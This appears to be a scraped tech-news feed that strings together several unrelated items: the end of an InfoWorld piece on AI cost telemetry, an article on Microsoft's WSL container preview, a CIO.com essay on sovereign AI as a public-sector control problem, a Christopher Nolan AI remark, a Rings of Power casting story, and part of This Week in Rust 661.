<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Christopher Nolan Says AI Is a ‘Trojan Horse’ Everyone Knows About]]></title>
<description><![CDATA[Christopher Nolan has compared artificial intelligence to a “Trojan horse that everybody knows the Greeks are inside,” highlighting growing public distrust of the technology.



Nolan calls AI a transparent Trojan horse




https://youtu.be/3jHpisxcmkc




The filmmaker made the comments during a...]]></description>
<link>https://tsecurity.de/de/3688347/ios-mac-os/christopher-nolan-says-ai-is-a-trojan-horse-everyone-knows-about/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688347/ios-mac-os/christopher-nolan-says-ai-is-a-trojan-horse-everyone-knows-about/</guid>
<pubDate>Thu, 23 Jul 2026 10:10:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Christopher Nolan has compared artificial intelligence to a “Trojan horse that everybody knows the Greeks are inside,” highlighting growing public distrust of the technology.



Nolan calls AI a transparent Trojan horse




https://youtu.be/3jHpisxcmkc




The filmmaker made the comments during a recent interview while discussing technology and the public response to artificial intelligence. Nolan said AI resembles a transparent horse made of glass because people can clearly see what companies are trying to introduce.



“It’s a transparent horse, it’s made of glass. Everybody can see what’s going on inside of there,” Nolan said.



The comparison refers to the Trojan Horse from Greek mythology, which secretly carried soldiers into the city of Troy. According to Nolan, modern AI does not have the same level of secrecy because users already understand many of the concerns surrounding the technology.



Young people are rejecting AI content



Nolan also said he has never seen a technology develop so quickly while facing such strong public resistance. He pointed specifically to younger people, who often question AI-generated material and describe low-quality output as “AI slop.”



His comments reflect wider concerns about AI replacing human work, using copyrighted material, spreading inaccurate information and reducing the value of original creative work.



Nolan did not argue that every use of AI should stop. Instead, he supported a cautious approach that examines who controls the technology, how it is trained and why companies are promoting it.



The director’s remarks also connect closely with his filmmaking methods. Nolan regularly relies on practical sets, physical effects, real locations and large-format film cameras rather than building entire scenes through digital tools.



His latest comments suggest that audiences still value visible human effort, especially in films, music, writing and other creative industries. As AI continues to advance, public trust will depend heavily on transparency, consent and responsible use.]]></content:encoded>
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<item>
<title><![CDATA[Jamie Campbell Bower Confirmed as Celeborn in The Rings of Power Season 3]]></title>
<description><![CDATA[Jamie Campbell Bower will play Celeborn in The Lord of the Rings: The Rings of Power Season 3, finally bringing Galadriel’s long-missing husband into the Prime Video series.



Jamie Campbell Bower’s Celeborn Revealed



The first look presents Bower as a silver-haired Elven lord dressed in detai...]]></description>
<link>https://tsecurity.de/de/3688321/ios-mac-os/jamie-campbell-bower-confirmed-as-celeborn-in-the-rings-of-power-season-3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688321/ios-mac-os/jamie-campbell-bower-confirmed-as-celeborn-in-the-rings-of-power-season-3/</guid>
<pubDate>Thu, 23 Jul 2026 09:59:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jamie Campbell Bower will play Celeborn in The Lord of the Rings: The Rings of Power Season 3, finally bringing Galadriel’s long-missing husband into the Prime Video series.



Jamie Campbell Bower’s Celeborn Revealed



The first look presents Bower as a silver-haired Elven lord dressed in detailed armour. His appearance suggests that Celeborn will enter the story as an experienced warrior rather than remain a distant figure from Galadriel’s past.



Bower described himself as “beyond elated and grateful” after his role became public. The actor already has strong connections to major fantasy franchises through Harry Potter, Fantastic Beasts, Twilight, and Stranger Things, where he played Vecna and Henry Creel.



He joined The Rings of Power as a series regular before the production revealed his character. Early descriptions reportedly referred to his role as a handsome, high-born knight, leading many viewers to predict that he was playing Celeborn.



Celeborn and Galadriel Could Finally Reunite



Galadriel previously told Theo that she had lost Celeborn during the war against Morgoth. She recalled meeting him in a field of flowers and joking about his poorly fitted silver armour. He later disappeared after leaving for battle, although Galadriel never confirmed his death.



Season 3 can now explain where Celeborn has been and why he stayed separated from Galadriel for so long. Their reunion should also add a deeply personal storyline while the Elves prepare for another major conflict.



The new season will move forward several years and explore the height of the War of the Elves and Sauron. Sauron will continue building his power and work toward creating the One Ring, placing Celeborn, Galadriel, and the other Elven leaders directly in his path.



Bower’s arrival gives Season 3 one of its most anticipated Tolkien characters and opens an important new chapter in Galadriel’s journey.]]></content:encoded>
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<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
